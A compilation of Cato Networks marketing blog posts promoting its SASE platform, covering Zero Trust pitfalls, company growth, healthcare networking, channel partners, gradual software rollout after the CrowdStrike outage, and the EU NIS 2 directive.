Multi-branch facilities – It is common that today’s enterprises will comprise of a single headquarter with multiple global locations. More commonly, these global locations exist in a shared space arrangement whereby the physical network and connectivity is independent of the company. In such cases, these employees still require access to enterprise applications or other resources at the HQ or company data center. In other cases, a user may be a road warrior, using unmanaged personal devices, or be located in restricted locations. Given this, great care and consideration must be given in determining if, when and how to grant access to necessary resources while denying access or restricting actions to more sensitive resources.
Multi-cloud environments – More enterprises are utilizing multi-cloud providers to host their applications and data. There are occasions whereby the application and data source exist in different clouds. Ideally, these cloud environments should connect directly to each other to ensure the best performance.
Contractors and 3rd party partners – Contractors and 3rd party supply chain partners requiring access to your network and enterprise resources is very common these days. Often these entities will use unmanaged devices and/or connect from untrusted locations. Access can be granted on a limited basis, allowing these users and devices only to non-critical services.
CISOs must factor in these and other company specific use cases to ensure their Zero Trust project does not inadvertently alienate important non-company individuals.
Cato SASE Cloud Approach: At Cato Networks, we acknowledge that use cases are customer, industry, and sometimes, location dependent. And when Zero Trust is introduced, the risk of inadvertently neglecting one or more critical use cases is magnified. For this reason, we built our architecture to accommodate, not only the most common use cases, but also obscure and evolving use cases as well. The combination of our converged architecture, global private backbone, single policy management, and virtual cloud sockets ensure we provide customers with the most accommodating, yet most robust and complete Zero Trust platform possible.
Pitfall 5: Not having realistic ROI expectations
ROI, for many IT-related initiatives is rather difficult to measure, and many CISOs often find themselves twisted on how to demonstrate this to ensure company-wide acceptance. Three questions around ROI that are traditionally difficult to answer are:
What should we expect?
When should we expect it?
How would we know?
Like many things technology-related, CISOs are hesitant to link security investments to financial metrics. However, delaying a Zero Trust deployment can yield increased costs, or negative ROI over time that can be measured in increased data breaches, persistent security blind spots, inappropriate access to critical resources, and misuse of user and resource privileges, just to name a few.
CISOs can address these ROI concerns through several strategies that extend beyond simple acquisition costs and into the broader operational costs. With the right strategy and solution approach, a CISO can uncover the broader strategic benefits of Zero Trust on financial performance to realize it as an ROI-enabler.
Cato SASE Cloud Approach: It is easy to appreciate the challenge of achieving ROI from Security projects. As mentioned, CISOs like CIOs are hesitant to link security investments to financial metrics. However, with an appropriate Zero Trust strategy, organizations will assure themselves enormous savings in IT effort and vendor support. Organizations deploying a Zero Trust solution based off a converged, cloud-native, global backboned SASE Cloud like Cato can expect more efficient cost structures while achieving greater performance. By converging critical security functions, including Zero Trust, into a single software stack within the Cato SASE Cloud, organizations can immediately retire expensive, non-scalable, maintenance-intensive VPN equipment. This approach delivers ease of deployment and simplistic management, while drastically reducing maintenance overhead and IT support costs.
Achieving Your Organization’s Zero Trust Goals with Cato SASE Cloud
Justifying a security transformation from implicit trust to Zero Trust is becoming easier and easier. However, determining the right approach to achieving an organization’s Zero Trust goals can be daunting. It is challenging when factoring in the broad paradigm shift in how we view user and device access, as well as numerous use case considerations with unique characteristics. Zero Trust Network Access is an identity-driven default-deny approach to security that greatly improves your security posture. Even if a malicious user compromises a network asset, ZTNA can limit the potential damage. Furthermore, the Cato SASE Cloud’s security services can establish an immediate baseline of normal network behavior, which enables a more proactive approach to network security in general and threat detection in particular. With a solid baseline, malicious behavior is easier to detect, contain, and prevent.
"The Zero Trust is a security model based on the principle of maintaining strict access controls and not trusting anyone by default; a holistic approach to network security, that incorporates a number of different principles and technologies.”
Ludmila Morozova-Buss

Cato Networks Surpasses $200M ARR and 2,500 Customers: Here’s Why When Cato Networks was launched and we onboarded our first customers, we were exhilarated to share the disruptive innovation that has turned into an incredible opportunity. Enterprises had become too complex, with many point solutions requiring assessment, integration, deployment, and maintenance. Cato was the remedy to that complexity.
Nine years later, we’ve seen the Cato approach of converging security and networking into a single, cloud-native platform become the industry standard—now called SASE. It’s an approach that transforms how IT manages and delivers security to support the business. And today, I’m excited to share that we surpassed $200 million in annual recurring revenue (ARR)—doubling our total ARR in under two years—and we now have more than 2,500 enterprise customers embracing the Cato SASE Cloud Platform.
“The shift to SASE has empowered us, no question,” said Rodney Masney, chief information officer at O-I Glass. “Our factories run more efficiently, our users complain less, and all of that makes my life as the CIO – and the lives of my team – easier. My team’s work-life balance is incredibly important to me, and with Cato, we’ve been able to strike that balance here at O-I.”
O-I Glass is a $7 billion leading glass bottle manufacturer, designing innovative glass packaging for the world’s leading brands. O-I is using the Cato SASE Cloud Platform to digitally transform how glass bottles are designed and manufactured. With Cato, O-I was able to connect and secure 23,000 employees in approximately 150 factories and office locations across 20 countries worldwide.
And O-I is not alone in transforming their business with Cato. Sixt, the world-renowned car rental company, connects and protects its locations and rental branches worldwide, as well as mobile users, with the Cato SASE Cloud Platform.
Finally, we have Vitesco Technologies, the $10 billion German automotive supplier and manufacturer. It has been a Cato customer since 2020 and has 35,500 employees worldwide. The company recently expanded the Cato SASE Cloud Platform by nearly 25% to over 90 connected locations and services and 24,000 remote users.
As we enter the third generation of IT security, Cato is being embraced faster than the appliances and proxies that defined the previous generation. Our growth attests to the demand for a true, autonomous cloud-native platform—one that maintains an optimal security posture and a superb application experience worldwide, freeing IT teams to better support the business.
It's a message that legacy vendors like to imitate, even going so far as to adopt terms like “platformization” to give them the appearance of delivering a single platform when they’re only offering a portfolio of point solutions. But as our co-founder and CEO Shlomo Kramer noted in today’s announcement, “Converting a portfolio company into a platform company is about as easy as unscrambling an omelet. Security is a data problem. A platform makes high-quality, contextualized data available in real-time for protection and stores that data in a single data lake for detection. You cannot get that kind of high-quality data from a portfolio company, no matter how pretty the management interface.”
With the Cato SASE Cloud Platform, though, you can. You can get the right data when you need it, wherever you need it, to make the right decisions about security and your network. That’s the power of a true IT security platform, and that’s the power of Cato.

Unlocking Simplicity in Network Security: The Cato Networks Story A vision born from complexity
Most security companies grow reactively, a continuous, complex cycle of funding and building point solutions to address emerging point problems. Cato Networks chose to revisit and address two decades of accumulated complexities in networking and security infrastructures, looking to finally solve and break the point problem, point solution cycle. Cato envisioned a better way. It began not just with a forward-looking question, but with a reflective look into the past: What if network security could be as straightforward as clicking a button?
“What can we do to actually solve that problem that no point solution can solve, that only adds to the complexity?” shared Yishay Yovel, Chief Strategy Officer at Cato, during a candid discussion with Vikram (Vik) Sood, Managing Director Tech Investment Banking at Jefferies, during Tech Trek 2023. Inspired by the transformative simplicity that AWS brought to cloud computing, Cato set out to do the same in network security - to allow enterprises of all sizes, with all levels of expertise, to access the same security capabilities once reserved for industry giants.
Crafting the unique: a platform approach
It’s clear that Cato is not just a participant, but a pioneer in a sector burdened by complexity. Recognized by leading industry analysts like Gartner and Forrester, Cato’s single-vendor SASE platform architecture, Cato SASE Cloud, is the answer for enterprises overwhelmed with managing multiple security products.
“We are the first vendor to build a platform from the ground up so we consistently deliver what customers need today, and what they will need in the future, in the exact same way,” Yovel states. This strategic choice not only simplifies and optimizes network and security infrastructure out of the box but aligns with the demand for vendor consolidation.
Organizations no longer tolerate lengthy deployments, planning, rising costs, and unproductive finger-pointing. They need agility, and they need it now.
The ‘Rip and Replace’
Cato’s strategy is bold. It involves removing outdated, cumbersome, and costly traditional architectures, replacing them with an infrastructure that is scalable, resilient, global, secure, and optimized. This transformation is not just about updating technology; it’s about revolutionizing how enterprises operate and grow. The Cato SASE Cloud platform is a turnkey service that delivers security and optimization to anyone, anywhere, at any time – from the largest data center down to a single user. “You take stuff out that costs you, is painful to own and operate on your own, and then you move to something that is an outcome-driven platform,” Yovel states.
Innovative sales strategy
Cato’s sales strategy is designed to integrate into the financial frameworks of enterprises, which means easier adoption without imposing extra costs. Highlighting the hard and soft benefits, Yovel talks about this unique approach: “Cato projects are funded by existing budgets. If you can come to a customer and demonstrate both the hard savings that will come from consolidating multiple budgets - for firewalls, for remote access, for networking infrastructure - you save money on that side.”
This sales motion not only removes direct acquisition costs, it significantly lowers Total Cost of Ownership (TCO). By streamlining how network security is delivered, and by eliminating the need for disparate security solutions, Cato helps businesses achieve long-term savings.
Cato’s SASE platform also enhances operational agility. Its soft benefits change and simplify the management of network security, enabling IT teams to respond more swiftly to business demands and focus on growth initiatives. Enterprises can finally optimize both their IT infrastructure and their fiscal resources with ease.
Facing the future with confidence
Cato’s growth strategy is articulated across two dimensions. The first focuses on their move up-market from an established mid-market base. Yovel explains “Because our technology is so transformative and disruptive, and requires ‘rip and replace’ of infrastructure, we started in the mid-market.” Recent customer acquisitions, such as Carlsberg, demonstrate Cato’s ability to scale and cater to the complex demands of renowned global brands, showcasing the robustness and suitability of its SASE platform for the largest enterprises.
The second dimension involves Cato extending its technological reach beyond the core into adjacent markets, actively expanding its capabilities in XDR, endpoint, and IOT. This not only broadens Cato’s market presence, but also enhances its value proposition across a more diverse customer base.
A story still unfolding
Cato is on a clear path to IPO with its ambitions shaped by the leadership of its founder, Shlomo Kramer. Anecdotally, Yovel offers “When Cato goes public, Shlomo Kramer will be the only founder to take three companies in cybersecurity from seed to multi-billion-dollar IPOs, in history.”
Cato’s journey is heavily influenced by its roots in Israel, a nation renowned for cybersecurity innovation. With its unparalleled SASE platform, next-gen technology, strategic market expansion, strong leadership, and the trust of investors - transition to a public company edges closer.
Cato isn’t another success story; it’s an ongoing revolution in network security. A narrative that invites every enterprise to turn the page to a simpler, more secure future.

How SASE Ensures Healthcare & Pharmaceutical Companies Thrive Healthcare and pharma companies are at the forefront of our most important need as humans: saving lives. To succeed, they require highly skilled staff members, medical equipment, drugs and resources. On top of these, there is another equally crucial component that will determine their ability to perform their jobs: their network. A secure, reliable and high performing network will ensure patient safety, data integrity and operational efficiency.
Such a network will enable healthcare organizations to protect sensitive customer data, connect medical professionals to patients through video, support the monitoring of patient data from IoT devices, set up effective communication between clinics, hospitals and other medical facilities, facilitate research and development processes, ensure proper distribution of drugs and medical equipment, and much more.
In this blog post, we introduce SASE (Secure Access Service Edge) and show how this innovative and easy-to-use technology can answer healthcare and pharma connectivity and security needs.
What Health and Pharmaceutical Companies Need From their Networks to Succeed
The healthcare industry is diverse, dispersed, susceptible to cyber attacks, and highly reliant on data and real-time communication. As a result, health and pharma organizations require the following from their networks:
Advanced security measures that protect from breaches and can safeguard sensitive data, like ePHI.Healthcare networks are sought after targets for threat actors because they store and transit high volumes of valuable data and the distributed nature of healthcare means the attack surface is broad.
Global connectivity across clinics, health centers, hospitals, pharmacies, remote medical personnel, telehealth centers and more.
Low latency and network stability to support real-time and reliable communication. Using legacy network solutions like MPLS result in instability, fluctuating availability, and little redundancy. Multiple carriers result in inconsistent SLAs.
Scalability to accommodate growth, including for new facilities, telehealth services and expanding digital health platforms.
Support for compliance requirements, like HIPAA and others. For example, when there is no standardization across legacy tools, it is difficult for IT to meet compliance requirements like enforcing consistent policies to ensure patient data is secure, or even just tracking who has access to that data.
Flexibility to support varying infrastructure and end-devices needs like IT and IoT.
A positive user experience for both healthcare providers and patients, who are not always tech-savvy individuals, but they are busy.
The ability to balance effectiveness with cost, since these organizations are often publicly funded and/or need to invest resources in patient care.
The ability to support acquisitions of other healthcare companies and clinics.
Ease of use for IT, since tasks are plentiful and time is short. In addition, the global skills gap is also prevalent in healthcare.
How SASE Can Answer Healthcare and Pharma Needs
SASE (Secure Access Service Edge), is an innovative networking and security solution that converges SD-WAN and security functions into a single, global, cloud-native solution. SASE was designed to reduce the effort and costs associated with setting up, maintaining and monitoring complex networks, while offering high-performing and secure connectivity. This makes it an ideal solution for healthcare companies.
For healthcare and pharma, SASE enables:
Enhanced Security and Compliance Posture
SASE integrates advanced security measures like FWaaS, CASB, DLP, SWG and ZTNA directly into the network. These measures allow granular control of data, ensuring it is securely accessed and shared. This reduces the risk of breaches and ensures compliance with regulations such as HIPAA, ISO 27001, or SOC2.
Optimal Performance
SASE optimizes network performance through SD-WAN, a global private backbone, and networking optimization capabilities. This ensures that healthcare professionals and researchers can quickly and reliably access the resources they need, regardless of their location, with minimal latency.
Scalability and Flexibility
SASE's cloud-native design allows organizations to scale their network and security needs dynamically as they expand or adapt services. This includes opening new clinics or locations, adding new remote users or even onboarding newly acquired companies or facilities.
Simplified Management
By consolidating various networking and security functions into a single, cloud-delivered platform, SASE reduces the complexity of managing multiple security products and vendors. IT teams can easily enforce consistent security policies across all locations and users, including remote and on-site employees, through single pane of glass management.
In addition, IT teams gain full network visibility, which allows optimizing traffic and prioritizing applications.
Improved User Experience
SASE users enjoy fast download times and reliable connectivity to their applications, from video conferences with patients to sharing data during critical care situations. This is due to SASE’s private global backbone, which doesn’t rely on the internet, as well as advanced routing methods.
Operational Efficiency
SASE is a single solution for networking and security needs. The ability to eliminate network redundancies, drop expensive network lines and increased operational efficiency deliver high ROI for SASE, which helps prioritize patient care above all.
Global Connectivity
A cloud-based network and global network of PoPs allows connecting locations around the world while maintaining governance and visibility. High quality healthcare services can be provided without boundaries.
Conclusion
SASE delivers global connectivity, low latency, scalability, advanced security, compliance, flexibility, and a positive user experience.

The Whole is Bigger Than the Sum of its Parts. The Channel Experience Build Partner Trust. Avoid Partner Fatigue
“Trust takes years to build, seconds to break, and forever to repair.” The road to becoming a trusted partner to your customers has no shortcuts. As you review your portfolio, filled with various network and IT security solutions you’ve accumulated over the years, you believe each fulfills the needs of your customers. Each solution represents significant investments in resources and efforts to stay competitive and succeed. You’ve worked hard to grow and earn the trust of your customers, even when there seemed to be no other choice. But, given the opportunity, wouldn’t you prefer to provide your customers with a superior experience? One that you would enjoy as well?
Recently, we’ve heard many vendors talk about platform consolidation and customer fatigue. The correlation is clear. But what about the fatigue experienced by Channel Partners? Consolidating acquired products under the same umbrella can present its own set of challenges. Achieving optimal efficiency nirvana starts with selecting a vendor that simplifies integration and support.
Close your eyes. How do you imagine nirvana?
Single vendor SASE is channel-first in its DNA. Every channel aims to become a trusted partner by offering the most advanced, authentic, one-stop-shop solution for its customers. The challenge some partners face is building a future-proof business that allows them to shine and differentiate themselves. To succeed, partners should base their strategy on a recurring revenue business model, that enables them to build and deliver managed or value-added services with a customer success approach, while choosing a vendor with a platform that eliminates the grunt work. That is the way to capitalize on a market that, according to the Gartner® Market Guide for Single-Vendor SASE, says, “by 2025, 80% of enterprises will have adopted a strategy to unify web, cloud services, and private application access using a SASE/SSE architecture, up from 20% in 2021”.

Imagine sitting in front of your customers, asking them what network and IT security nirvana means to them. You will probably hear:
“We need all network and IT security capabilities delivered anywhere”
“I need to be able to scale fast”
“My IT team is exhausted handling patches and updates and ensuring they are implemented across the company”
“I need to be able to manage it all seamlessly by a single console”
“All decisions made should be based on a single data lake”
“Simple, secure, resilient”
“It must be cloud-native; I don’t want to manage appliances anymore”
As a trusted partner, you have four options:
You might come back and say “No one can do all that”. No one wants that.
Go to the nearest DIY shop, buy duct tape, think of a narrative that will fit your offering of multi-SASE vendor solutions, and come back to your next meeting with what would be yet another ‘doing the same thing expecting a different result’ kind of solution.
Choose a wannabe single-vendor SASE. (See number 2 above). Now imagine that they are all owned by a single company. Well, at least someone else bought the duct tape and did all the taping for you. It still doesn’t change the customer experience.
Achieve nirvana with a single-vendor SASE platform.
Is this really your comfort zone?
A SASE offer constructed from multiple vendors or patched-together solutions is anything but comfortable. It requires building and maintaining expertise across various vendors, managing complex sales cycles, staying updated on new features, endless patching, and managing the shipping and storage of point products that aren’t cloud-native. As your business expands, so does the burden of managing multiple vendor solutions, necessitating the support of numerous teams across sales, engineering, support, and operations. It’s more of a burden than a comfort.
Grow with your customers, but not by adding more vendors or solutions
Most of the partner programs out there today have all the standard industry ingredients: free self-paced enablement, $0 demo equipment, straightforward deal protection, good margins, access to marketing content, and a frictionless MDF program.
But these offerings won't move the needle for you to drive significant impact. The needle will move if the value proposition of a platform allows partners to focus on what really matters.
Introducing the concept of a single-vendor SASE platform has inherent advantages for the channel:
Growth by mastering the customer experience. One business unit: sell cycle, knowledge, retention, support, and services.
Simplicity at its best. Demoing and POCing a cloud-native solution to upmarket customers with the most complex customer environments doesn’t take months to design, plan, and execute. Efficient architecture for low-maintenance operation.
Differentiate yourself. Invest in your high-margin professional and managed services; spread them across your customer base.
Customer First. Inequivalent customer satisfaction and low churn.
Agility. Fast response to customers’ needs. New sites are deployed in minutes, and M&As are executed in days or weeks. Upsell and cross-sell features are available at the flip of a switch.
Efficiency. Unified management gives you full visibility and control over the entire solution from a single interface, significantly reducing human errors and oversights.
Recurring revenue model. Minimized operational costs = high-profit margins.
Eliminate grunt work. Maintenance, patches, updates - everything is taken care of seamlessly and automatically.
Then you can Veni, Vidi, Vici the $25B (so far) SASE market.
With a platform architected from the ground up, Cato SASE Cloud is channel-first in its DNA. Whether you are an MSP, SP, VAR, or GSI, you can offer your customers’ nirvana, while experiencing it yourself.
For the whole to be bigger than the sum of its parts, look at the parts carefully; they need to be assembled perfectly without cutting any corners. Look at the roadmap; any enhancements and added products should fit as if they were designed to grow the whole.
Dare to be different and move away from your comfort zone.

The Divine SASE Touch The Paris Olympics are coming up, arousing excitement and anticipation around the globe. As the world’s greatest athletes prepare to compete on this renowned stage, let’s shift our focus to a few of the earliest Olympics competitors - the Greek Gods. These deities, myth says, competed in the ancient Olympics, and later on, the Games were held in their honor. To this day, the Olympics are a global festival of what the Gods symbolized - strength, resilience and elegance.
Modern Olympus: Digital Deities
Today, much of our capabilities and influence come from technology. Just as the Greek Gods wielded immense control over their realm, IT teams hold the keys to the digital kingdom - our modern utopia. They keep businesses moving forward, supporting strategic initiatives like hybrid work, cloud migration, expansion, and M&A, while protecting against attackers.
Similar to the Greek Gods’ distinct abilities, IT teams possess specialized skills that are critical for overseeing and managing the technological infrastructure that powers modern businesses. Their leadership, governance, specialization, and ability to rise to challenges, strategically influence the business and can determine its fate. However, unlike the Gods, IT teams have access to powerful technology tools and solutions that amplify their efforts.
SASE: The New Divine Tool for IT Titans
Among these powerful tools is SASE (Secure Access Service Edge) - converging SD-WAN, a cloud network, and robust security functions into a unified, cloud-native solution. SASE provides a potent, innovative, and holistic solution to overcome the point complexities posed by the old legacy IT giants, making modern life better and more secure.
But, not all SASE is created equal.
Some SASE offerings are constructed from disparate technologies, Cato Networks stands apart with a true cloud-native SASE platform. Architected from the ground up, Cato SASE Cloud provides unmatched security, scalability, agility, and efficiency both now and in the future. For IT, this marks a new era of capability and insightfulness, akin to the powers of the Greek Gods themselves:
Five Gods and Goddesses stand out as embodiments of the powers that IT teams can now harness with SASE: Zeus, Hercules, Aphrodite, Athena and Artemis.
Zeus
Zeus is the supreme deity among the Olympian Gods, representing power and control. He governs the heavens and earth, overseeing natural phenomena such as thunder, lightning and storms.
Similarly, IT teams can provide leadership and governance over the organization's technological landscape. They can set the direction for IT projects, infrastructure investments, and cybersecurity policies, ensuring alignment with business goals.
With Cato SASE Cloud, IT teams ensure comprehensive security across all aspects of the network, from endpoints to the cloud, ensuring governance and protection everywhere just like Zeus oversees all of Olympus. SASE impacts the lives of customers and organizations just like Zeus touched upon the lives of all mortals and immortals.
Cato converges a wide range of security capabilities into a global cloud-native service that scales while automating resilience, security posture, and performance optimization. Instead of patching vulnerabilities, replacing boxes, or spending a weekend testing high availability, Cato eliminates the ‘grunt work’ that has plagued IT teams, allowing them to focus on partnering with the business, providing exceptional service, enabling business growth, and spending time on personal pursuits.
Hercules
Hercules is renowned for his incredible strength, courage, and numerous heroic deeds through the Twelve Labors.
Similar to Hercules, IT teams need to have relentless problem-solving skills and resilience. They handle a broad spectrum of issues, from routine maintenance to critical system outages, to cyber attacks, requiring quick and effective solutions.
With Cato, IT teams can enjoy the resilience offered in the face of challenges, ensuring the network remains strong and secure. Cato SASE Cloud connects and protects every location, user, and application, in any geography, and at any scale. This allows efficient enforcement of corporate policies for threat prevention and sensitive data protection, so IT can deal with its own Twelve Labors - cyber attacks, employee requirements, and quickly supporting business needs.
Aphrodite
Aphrodite is the goddess of love, beauty, elegance and desire. With SASE, IT teams can enjoy seamless and effortless operations and provide users with a smooth and graceful user experience. This is akin to the traits of this goddess herself.
Cato changes how IT security infrastructure is built, replacing it with an elegant platform that takes away the pain of selecting, validating, integrating, and deploying incremental networking and security capabilities, as well as product footprints, contracts, and billing cycles. Instead, everything is seamlessly converged in one solution. This simplifies day-to-day management, creating harmony and organizational aesthetics and functionality.
Enterprises and their users love Cato SASE Cloud and the effortless experience it provides.
Athena
Athena, known as the goddess of wisdom, courage and strategic warfare in Greek mythology, is one of the most revered and majestic deities among the Olympian gods. Similarly, IT requires strategic and critical thinking, choosing innovative and intelligent solutions that safeguard and advance an organization's infrastructure with digital transformation.
Cato enables IT to partner with the business and drive strategic business outcomes. By eliminating complexity, and reducing risks and costs, Cato SASE Cloud platform enhances IT’s agility, responsiveness, and impact, so it can move like Athena, at the speed of the digital business.
Artemis
Artemis is known as the goddess of the hunt in Greek mythology. Just like Artemis, IT teams need to be agile, vigilant and have the ability to target and resolve specific issues swiftly and effectively.
Cato SASE Cloud provides secure access, allowing users to connect safely wherever they may be. Users can establish a secure and optimized connection from anywhere, to any application, on-premises or in the cloud. Access security is provided through risk-based application access policies, EDP/EDR, a next generation malware engine, and more. In addition, all WAN, Cloud and Internet traffic is fully protected against threats and sensitive data loss. This reflects Artemis's precision and care in tracking her prey.

A Brief History of Graduality In the early hours of July 19th, 2024, CrowdStrike endpoints on Windows machines worldwide received a faulty content update, causing what is shaping up to be the one of the largest global IT outages to date.
All over the world reports of Windows workstations and servers stuck in a boot loop with a BSOD were pouring in, impacting airlines, airports, banks, hospitals and many other critical infrastructures such as emergency services call centers, and the list goes on.
Many details including a detailed RCA from CrowdStrike will surely follow and shed more light on this, detailing why an update was pushed to the entire install base and how it passed testing, but until then nothing but our best wishes for our colleagues at CrowdStrike managing this incident.
Nonetheless, this is a good opportunity to discuss and highlight Cato’s Gradual Deployment Model, which is at the very core of how we manage our cloud service and the managed endpoints using the Cato Client.
Graduality, and more graduality
At Cato there isn’t a single stricter guideline throughout the entire Engineering and Operations organization than graduality. And it is without a doubt the most followed through guideline whether it’s in coding practices, performing production changes or publishing new software updates.
In simple terms, nothing is EVER executed on everything all at once. That ‘everything’ can be servers in our Cato SASE Cloud service (e.g. cloud PoPs, backend management services, Kubernetes clusters, etc.), managed Socket devices or Cato Clients running on the endpoints of our customers.
Over the years we’ve developed multiple dedicated infrastructures and feature suites serving this methodology, including automation for deployment with real-time checks of failures in between phases of deployment and features allowing admin full control of how they manage updates of Cato Sockets and Cato Clients inside their organization.Graduality allows them to do it at a pace that’s acceptable and meets the parameters that each IT organization sets for itself, providing the necessary time in between every phase and update group to make sure that if something goes wrong there is time to discover it and reduce the impact radius.
Cato Client Gradual Rollout - Client Upgrade Policy
For comparison, we will highlight the way Cato manages updates to its Cato Client, which is similar to how the CrowdStrike agent is installed on all workstations of the organization.
When a new client version is approved for release, following its extensive automation and regression testing, it goes into a release pipeline that is managed from start to finish. New client versions are distributed gradually between groups of customers and are never made available to all the groups at once.
A worthwhile mention is that Cato employs “dogfooding”, and the very first clients to be upgraded are all the Cato Clients managed by Cato’s own IT department, and using the same tools and methods as do our customers, as a final gate of quality control.
At the scope of a specific customer for which an update has been made available, their IT administrator is able to control how the client will be published to the users withing the organization using the Client Upgrade Policy.
The Client Upgrade Policy is a native graduality mechanism that the admin uses to control the pace of upgrades of the Client, with granularity to control different rollouts based on the endpoint platform. Initially a “Pilot Group” of users receives the update, typically these are IT members and other early adopters that can identify and report any issues first.After the Pilot Group, the client update continues to rollout gradually to the rest of the install base, with the administrator being able to track the progress in the CMA and pause the update at any moment if it’s required.
Figure 1 – Client Rollout screen showing multiple client version and their rollout status
Summary
This recent global outage highlights the critical need for robust deployment practices. At Cato Networks, our [quite overzealous] commitment to gradual deployment models ensures that any changes or updates to our cloud services and endpoints are meticulously controlled and monitored.
By deploying updates in phases and giving the tools and fine-tuned control of Client updates to the IT teams we minimize the risk of widespread disruptions and provide ample time to detect and address issues early. This approach not only enhances the reliability of our services but also gives our customers confidence in the stability of their IT operations.

I Need 90 PoPs of SASE…Stat! Healthcare information security teams are tasked with a common responsibility: safeguarding devices, services, and patient data; however, they also deal with the unique regulatory and compliance requirements surrounding patient data. Compounding this challenge is the sheer number of branch offices, connectivity to internal- and cloud-based applications, and all of the disparate point products accumulated over time. Complexity abounds in healthcare, where there is no room for complexity in an industry that impacts human life. Simplicity is the want…security is the need.
Branches, and Branches, and more Branches
Healthcare organizations frequently comprise multiple hospitals and dozens of branch offices that house family doctors, radiologists, medical laboratories, and others. These branch locations are frequently in geographically disbursed areas.
Deploying security appliances in each of these locations can be too expensive, even when considering performance, manageability, and cost. Because of this, all network traffic tends to be backhauled to a primary data center or hospital to enforce security against that traffic. While this does work, it adds unnecessary latency and network overhead to already limited security and networking capabilities.
Backhauling traffic seemingly offloads deploying physical appliances at each branch but also creates risky dependencies. If connectivity to the main hospital or data center is lost, access to the applications is also lost. This causes a massive disruption in the day-to-day operations of those remote branches and can cause organizations to lose customers.
Another critical area to consider is when healthcare organizations open or acquire existing branch locations; they often come with a different networking and security architecture. Integrating disparate solutions into existing environments can be complex …driving additional costs for new licensing and/or hardware.
All of these factors create complexity, and complexity is the enemy of security.
SASE is the Cure-All for Healthcare IT Woes
The cure for all of these challenges in healthcare organizations is what Gartner named Secure Access Service Edge, or SASE. SASE is the convergence of network and security controls into a single platform that is available as a global cloud-native service. The key components of SASE are Firewall as a Service (FWaaS), Secure Web Gateway (SWG), Intrusion Prevention as a Service (IPS), Cloud Access Security Broker (CASB), Zero Trust Network Access (ZTNA), and optionally so much more.
The Cato SASE Cloud platform accelerates and simplifies networking and security with true zero-touch deployment and global full security offerings. Specifically in healthcare, From a compliance perspective, SASE helps with HIPAA, PCI, and other standard healthcare regulatory compliance requirements. Cato Networks was the first company to see the evolution of security and networking, and with that foresight, we created our SASE Cloud platform. With over 80 points of presence (PoPs) worldwide, customers can have the same security experience regardless of location.
Simplifying Connectivity
There is no need to deploy expensive security appliances at each branch and no need to impact performance by backhauling your network traffic; Cato Networks’ global private backbone provides powerful connectivity to all branch locations, accomplished by our extensive network of PoPs. The branch locations no longer have to connect directly to one another or a hub site; they can connect to the Cato SASE Cloud and then use our full-mesh redundant backbone network to communicate. Each site would require a small Cato Socket device to connect the branch locations to the nearest PoP. Regardless of where your branches or remote users are located, any edge can connect to the nearest Cato PoP and access the global private backbone. As we stated above, there are also lots of applications and data that employees and branch locations need to access daily. The Cato SASE platform is architected to provide both acceleration of application data and smart egress at the closest PoP to the application data center. This makes the application perform better and provides users with a better working experience, regardless of the location.

Simplifying Security
Security appliances in multiple branch offices make it challenging for security administrators to manage, update, and patch on regular schedules. If there are network connectivity issues, security personnel must physically visit the branch locations to manage the individual devices. This is not the best use of security personnel's time and effort. Cato Networks SASE is a cloud-native service that accelerates and simplifies networking and security with true zero-touch deployment and global full security offerings. In our PoPs, full-stack security policies are enforced in our single-pass architecture. Specifically in healthcare, Cato’s intrusion prevention (IPS) and data loss prevention (DLP) detect and block unauthorized personnel from accessing and exfiltrating any personal information from your organization. From a compliance perspective, SASE helps with HIPAA, PCI, and other standard healthcare regulatory compliance requirements.
Security at Scale
As organizations grow, pressure on the security and networking teams to accommodate those new users and locations increases. Oftentimes, in healthcare, this comes with mergers and acquisitions. Choosing a vendor that can grow with you, with minimal impact on your workload, is crucial. Since Cato’s SASE service is completely cloud-native, it can grow with your organization without requiring your organization to rearchitect the network or purchase more expensive hardware to secure the new locations.
Conclusion
In healthcare, where safeguarding sensitive patient data is crucial, security and IT teams face unprecedented pressure. CISOs may even bear personal responsibility for breaches. Therefore, adopting comprehensive security solutions rather than relying on point-solution approaches is critical.
Transitioning to an SASE solution provides a complete suite of modern security capabilities, including ZTNA, SWG, CASB, DLP, and more, and it also streamlines maintenance. This approach reduces the burden of managing multiple products and appliances, eliminating the need to apply patches and constantly cope with staff fatigue. By consuming networking and security infrastructure as a cloud-native service, healthcare security teams can prioritize their efforts quickly and effectively.

Making Sense of NIS 2: Adopt a Cybersecurity Blueprint like NIST to Set Your House in Order In 2023, the European cybersecurity landscape painted a concerning picture. According to a report[1] from ITGovernance.eu, sectors such as energy, utilities, manufacturing, and healthcare were the most breached, indicating a strategic targeting by cybercriminals. Meanwhile, IBM's alarming metrics[2] in detection, response, and mitigation further emphasized that enterprise cybersecurity implementations were falling short .
The European Community established the Network and Information Security Directive 2 (NIS 2) to bolster cybersecurity resilience across the EU, driven by several critical objectives:
Enhanced Cybersecurity Resilience: improve the overall resilience of critical infrastructure and services against cyber threats and attacks.
Uniform Security Standards: create a standardized framework for cybersecurity practices across the EU, ensuring a consistent level of security and risk management.
Improved Incident Reporting: establish more stringent reporting requirements for cybersecurity incidents, allowing for quicker and more coordinated responses to threats.
Broadened Scope: expand the scope of the original directive to include more sectors and services that are critical to the economy and society, reflecting the evolving nature of cyber threats.
Better Cooperation: enhance cooperation and information sharing between member states, promoting a more unified and effective approach to cybersecurity.
Supply Chain Security: address security concerns within supply chains, ensuring that third-party vendors and service providers meet the necessary cybersecurity standards.
In a nutshell, the NIS 2 directive obligates organizations to implement appropriate and proportional technical, operational, and organizational measures to manage risks posed to the security of network and information systems. The goal is to prevent or minimize the impact of incidents on service recipients and other interconnected services.
[boxlink link="https://catonetworks.easywebinar.live/registration-nis2-is-coming-are-you-ready"] NIS 2 is coming. Are You Ready? | Watch Now![/boxlink]
Key Areas of Focus in NIS 2
Four crucial topics emerge from the directive:
risk assessment and management
corporate accountability
reporting obligations
business continuity
By October 17th 2024, European member states European member states must adopt into law and publish the measures to comply with NIS2, and by April 17, 2025, they must establish a list of essential and important entities.
NIS 2 is a significant enhancement over its predecessor, NIS 1, addressing its shortcomings such as insufficient cyber resilience, disparate implementations across member states, and lack of a joint crisis response team. NIS 2 expands coverage to sectors like food and beverage, digital service providers, and postal services, acknowledging the digital systemic risks associated with cybersecurity. This directive is expected to impact over 160,000 companies.
Organizations Impacted and Obligations
Organizations fall into two categories under NIS 2: (1) essential and (2) important entities.
Essential entities, which include sectors like energy, transport, and water supply, must have at least 250 full-time employees and an annual turnover of €50 million or higher. They will undergo continuous auditing by the competent authority within the country they operate in.
